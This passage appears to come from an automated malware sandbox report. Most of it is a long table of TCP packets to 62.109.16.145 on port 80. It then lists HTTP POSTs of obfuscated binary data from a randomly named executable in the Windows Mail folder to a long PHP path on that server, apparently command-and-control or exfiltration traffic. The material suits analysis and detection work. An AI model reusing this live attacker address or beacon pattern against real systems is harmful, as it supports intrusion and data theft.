Jan 9, 2025 04:15:47.119223118 CET	50272	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:47.123810053 CET	80	50271	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:47.123905897 CET	50271	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:47.124063969 CET	80	50272	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:47.124150038 CET	50272	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:47.124277115 CET	50272	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:47.129062891 CET	80	50272	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:47.506841898 CET	50272	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:47.511699915 CET	80	50272	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:47.866415024 CET	80	50272	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:47.993890047 CET	80	50272	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:47.993942022 CET	50272	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.122965097 CET	50272	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.123416901 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.128195047 CET	80	50273	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:48.128264904 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.128408909 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.128432989 CET	80	50272	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:48.128477097 CET	50272	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.133207083 CET	80	50273	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:48.482209921 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.487133980 CET	80	50273	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:48.808468103 CET	80	50273	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:48.857150078 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:48.937237024 CET	80	50273	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:48.982141972 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.056498051 CET	50274	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.056507111 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.061394930 CET	80	50274	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.061594009 CET	80	50273	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.064631939 CET	50273	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.064631939 CET	50274	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.064690113 CET	50274	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.069534063 CET	80	50274	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.420517921 CET	50274	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.425337076 CET	80	50274	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.761320114 CET	80	50274	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.812488079 CET	50274	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.893697977 CET	80	50274	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.936131954 CET	50275	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.936227083 CET	50274	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.941102028 CET	80	50275	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.941255093 CET	50275	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.941262007 CET	80	50274	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:49.941298008 CET	50275	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.941376925 CET	50274	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:49.946077108 CET	80	50275	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.033412933 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.033548117 CET	50275	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.038266897 CET	80	50276	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.038333893 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.053142071 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.058361053 CET	80	50276	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.079032898 CET	80	50275	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.418782949 CET	80	50275	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.418864012 CET	50275	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.421763897 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.428694963 CET	80	50276	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.719922066 CET	80	50276	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.763394117 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.849736929 CET	80	50276	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.904028893 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.920365095 CET	80	50270	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.920413017 CET	50270	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.977929115 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.978218079 CET	50277	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.983020067 CET	80	50277	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.983032942 CET	80	50276	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:50.983087063 CET	50277	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.983095884 CET	50276	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.983215094 CET	50277	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:50.988020897 CET	80	50277	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:51.342559099 CET	50277	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:51.347976923 CET	80	50277	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:51.718800068 CET	80	50277	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:51.847882986 CET	80	50277	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:51.847985983 CET	50277	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:51.962266922 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:51.967111111 CET	80	50278	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:51.967253923 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:51.967389107 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:51.972325087 CET	80	50278	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:52.326014996 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.330866098 CET	80	50278	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:52.656326056 CET	80	50278	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:52.722193956 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.785762072 CET	80	50278	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:52.872817039 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.915138960 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.915654898 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.920281887 CET	80	50278	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:52.920330048 CET	50278	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.920530081 CET	80	50279	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:52.920593023 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.920785904 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:52.925606012 CET	80	50279	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:53.282547951 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.287447929 CET	80	50279	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:53.610045910 CET	80	50279	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:53.658667088 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.737730980 CET	80	50279	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:53.779079914 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.852922916 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.853287935 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.857981920 CET	80	50279	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:53.858078957 CET	80	50280	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:53.858112097 CET	50279	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.861917973 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.862155914 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:53.866977930 CET	80	50280	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:54.216881990 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.221858978 CET	80	50280	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:54.609314919 CET	80	50280	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:54.685333014 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.742620945 CET	80	50280	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:54.839469910 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.873339891 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.873754025 CET	50281	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.879065990 CET	80	50281	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:54.879239082 CET	50281	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.879343033 CET	50281	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.884031057 CET	80	50280	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:54.884076118 CET	50280	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:54.884373903 CET	80	50281	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.060892105 CET	50281	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.062664986 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.067480087 CET	80	50282	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.070868015 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.071028948 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.075848103 CET	80	50282	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.107067108 CET	80	50281	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.180705070 CET	50277	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.180708885 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.185898066 CET	80	50283	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.186156034 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.186398029 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.191246986 CET	80	50283	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.351510048 CET	80	50281	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.352627993 CET	50281	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.419751883 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.424588919 CET	80	50282	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.424746037 CET	80	50282	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.544826031 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.549741030 CET	80	50283	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.784522057 CET	80	50282	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.825922012 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.896775007 CET	80	50283	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.918597937 CET	80	50282	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:55.968523979 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:55.982352018 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.030781031 CET	80	50283	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:56.169234991 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.305763006 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.305963993 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.306997061 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.310760021 CET	80	50282	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:56.310807943 CET	50282	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.311100006 CET	80	50283	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:56.311157942 CET	50283	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.311801910 CET	80	50284	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:56.311856031 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.319088936 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.323935986 CET	80	50284	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:56.669755936 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:56.674628973 CET	80	50284	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:57.052467108 CET	80	50284	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:57.108510017 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.187402964 CET	80	50284	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:57.232176065 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.313807011 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.316515923 CET	50285	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.318856955 CET	80	50284	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:57.320593119 CET	50284	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.321408033 CET	80	50285	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:57.324583054 CET	50285	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.328512907 CET	50285	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.333308935 CET	80	50285	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:57.672514915 CET	50285	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:57.677366972 CET	80	50285	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:58.017962933 CET	80	50285	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:58.155663013 CET	80	50285	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:58.155719995 CET	50285	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:58.280548096 CET	50285	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:58.281063080 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:58.285586119 CET	80	50285	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:58.285635948 CET	50285	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:58.285890102 CET	80	50286	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:58.285948038 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:58.286107063 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:58.290899038 CET	80	50286	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:58.641103029 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:58.645947933 CET	80	50286	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:58.961785078 CET	80	50286	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:59.075968027 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.090147972 CET	80	50286	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:59.188512087 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.212523937 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.216535091 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.217500925 CET	80	50286	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:59.221390009 CET	80	50287	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:59.221431017 CET	50286	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.224646091 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.224646091 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.229413986 CET	80	50287	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:59.576030970 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:59.580920935 CET	80	50287	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:59.920603991 CET	80	50287	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:59.982192993 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.049770117 CET	80	50287	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:00.169687986 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.170494080 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.170718908 CET	50288	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.175477982 CET	80	50287	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:00.175518036 CET	80	50288	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:00.175524950 CET	50287	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.175576925 CET	50288	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.175724983 CET	50288	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.180516958 CET	80	50288	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:00.529215097 CET	50288	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:00.534106016 CET	80	50288	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:00.852974892 CET	80	50288	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:00.981904030 CET	80	50288	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:00.981965065 CET	50288	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:16:05.864306927 CET	80	50288	62.109.16.145	192.168.2.4
Jan 9, 2025 04:16:05.864368916 CET	50288	80	192.168.2.4	62.109.16.145

HTTP Request Dependency Graph

62.109.16.145

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:12:07.335515022 CET	428	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:12:07.685297012 CET	344	OUT	Data Raw: 00 0b 04 05 06 0c 01 00 05 06 02 01 02 07 01 0b 00 0a 05 0c 02 05 03 09 07 06 0e 04 06 0e 01 02 0a 06 06 5b 03 54 04 50 0e 50 04 00 04 01 07 00 07 04 0e 0a 0f 54 07 01 04 05 04 06 06 01 07 0e 03 00 0f 0c 04 04 01 03 0e 55 0f 04 0d 53 0c 01 04 0c Data Ascii: [TPPTUSU\L}Q~s~M`LnYv\wTfY`otZpxRH{NThTtAwtt}e~V@Az}\}bu
Jan 9, 2025 04:12:08.046184063 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:08.143620968 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1412 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 56 4a 7e 4e 78 53 56 59 79 72 64 04 6b 5f 6b 44 69 59 7b 0a 7f 06 7d 41 6e 60 6b 59 69 4c 5e 02 60 5d 65 40 79 72 7a 5a 75 66 52 01 7e 5b 78 01 55 4b 72 55 77 62 6b 02 7d 61 7e 5f 6b 49 57 51 79 76 5e 0d 69 5a 7f 05 61 5b 69 4e 77 07 6d 47 7c 62 66 02 69 55 70 43 7f 74 67 06 75 5c 7b 06 7c 5b 7d 49 7d 06 7d 01 78 49 52 4c 6c 67 70 4c 7b 6e 7b 02 78 61 7c 46 78 05 66 06 6b 06 6c 44 79 77 74 4b 7c 71 6c 5e 61 4f 78 48 7a 51 41 5b 68 74 63 52 7d 61 65 0a 75 7f 74 02 7b 7c 63 5d 74 73 6e 0b 7b 71 71 47 69 7c 61 5f 78 71 62 49 76 05 6f 02 75 71 78 41 74 5f 7a 50 7e 5d 7a 06 74 71 7d 05 76 65 6b 50 7e 7c 66 5e 60 6f 70 04 7f 70 7c 06 6f 6f 73 03 7b 59 76 44 7c 6e 7f 51 77 5e 7f 5f 69 61 7d 50 69 54 60 52 7b 43 7e 4e 69 5c 65 07 7b 5d 46 51 68 7c 55 53 7e 70 74 08 7d 77 7e 01 6f 6e 74 58 79 72 52 46 68 5f 7f 01 69 59 6f 08 68 5e 58 50 7b 73 7b 5c 7e 72 74 00 77 63 71 51 7b 5c 79 01 75 76 7c 02 7d 48 60 02 7e 66 79 4f 77 62 59 03 7f 4c 61 4d 7f 59 7a 43 7b 48 6c 4f 7e 73 51 4a 76 4c 71 06 77 71 75 05 7c 4f [TRUNCATED] Data Ascii: VJ~NxSVYyrdk_kDiY{}An`kYiL^`]e@yrzZufR~[xUKrUwbk}a~_kIWQyv^iZa[iNwmG\|bfiUpCtgu\{\|[}I}}xIRLlgpL{n{xa\|FxfklDywtK\|ql^aOxHzQA[htcR}aeut{\|c]tsn{qqGi\|a_xqbIvouqxAt_zP~]ztq}vekP~\|f^`opp\|oos{YvD\|nQw^_ia}PiT`R{C~Ni\e{]FQh\|US~pt}w~ontXyrRFh_iYoh^XP{s{\~rtwcqQ{\yuv\|}H`~fyOwbYLaMYzC{HlO~sQJvLqwqu\|OT~BV}gKvaUI{LSH}^_{Y^xIR{}kIy\d{sPN\|^tKxIlI~boOv_^H\|\|s\|w\|OO}Nv\|tzl`tpzz_SI}Bz{qfvssDvaROtO~ANrOwrmwe\|latR\|cZJy\|Qx`j\|SxCwg\|}rPO}Cw{mfN}\[\|pdlRp\|B~Y\z}Qxrxq{}go@\|`}OzMZB~L`w][yOywfp~fdN}vmAw\}bu\|YTCxfp~]wGuL[vaqG\|OPF}\|`~Y{Ju_{zbmG}N_D{wlxYZ{CwyrdK{]T{]NZyw^K~LgOv_dI~lgKIgT\|bqwl\|oRZIwsfnb~\iof_z\y\}b`g{ZL~JxYz`\~YuvlB\|Rat\|ZLh`sXxBR^o`TKClNw^`iarzSYQ`q}@T[\\hl{iSp{@jlwikyfq`U~gFkrtiexTRZjTW\s]ScB[~PVsb_Zjsgie@RrPZXYZ~uzYkg}Qo_`B~cgaauwXv]kavK}R`@iIkKvasl\i~MqSJsZldBTqd_VaWVZaNVcoIRp\|z\QBvqlE~lH~Yt}f}JqU]ZWsB]cSIVYZR`a\|_\XlZ`qsY@ZXDP}wyYcaBZyoVPoSZUo[P`FRY[aYe{UOZ^J_\|u}VinOWqa
Jan 9, 2025 04:12:08.143637896 CET	405	IN	Data Raw: 58 51 61 05 51 51 59 67 56 53 6f 00 4c 61 06 08 53 69 60 7e 02 7c 52 07 69 7f 5f 46 58 6b 07 64 45 50 74 4e 09 6b 06 5c 4d 6c 04 73 59 6a 04 59 47 5b 5c 05 50 56 62 65 5a 77 5b 7b 7d 69 6a 52 50 67 65 01 41 58 4f 7b 40 7b 5b 54 59 50 00 71 4a 52 Data Ascii: XQaQQYgVSoLaSi`~\|Ri_FXkdEPtNk\MlsYjYG[\PVbeZw[{}ijRPgeAXO{@{[TYPqJRe]HQ[ZZnC]}r`Zjk\|y_dgq\EYonFPs@lUAnwCRnTXY~l`Z{^VZ`dCWq`\qs{j`d^QJxK{XPUZ{EQoUA[XSVRoZW[auZd_q_Z_m^rP}wyYcaBZyoVPoS`@UpUFloaYuGhjppX
Jan 9, 2025 04:12:08.173893929 CET	404	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 384 Expect: 100-continue
Jan 9, 2025 04:12:08.394454002 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:12:08.394629955 CET	384	OUT	Data Raw: 5f 56 59 51 5f 5b 58 59 55 56 55 5a 56 5e 55 53 56 51 5a 5c 55 5c 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VYQ_[XYUVUZV^USVQZ\U\SWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%9/X -$2"]<07<=(:&)-S<'2Y<^=(X+ \%#Y)<
Jan 9, 2025 04:12:08.619560957 CET	324	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:12:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 20 00 22 2a 2e 5b 3f 31 2b 12 3c 12 30 0e 2b 22 38 5b 29 33 2a 04 29 14 2e 5b 2b 3e 3f 1d 3f 02 22 5d 33 21 26 54 23 2e 07 03 36 0a 2e 59 0c 1d 39 5a 29 5d 25 0e 27 30 23 5a 3e 1d 21 02 21 22 3c 02 26 2d 29 0f 30 3b 34 55 28 31 3c 1e 3e 22 3c 08 2d 5e 39 40 24 30 3d 08 24 3e 21 5e 02 14 23 5b 2a 5b 3c 0d 2a 37 2f 1b 25 1c 2d 0a 20 2d 26 51 22 01 24 09 36 28 00 17 2b 21 22 12 37 0f 2c 5b 30 0d 2e 1b 21 32 22 0c 2a 23 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: ".[?1+<0+"8[)3).[+>??"]3!&T#.6.Y9Z)]%'0#Z>!!"<&-)0;4U(1<>"<-^9@$0=$>!^#[[<7/%- -&Q"$6(+!"7,[0.!2"*#/\++I1UV
Jan 9, 2025 04:12:08.648483038 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:12:08.874059916 CET	25	IN	HTTP/1.1 100 Continue
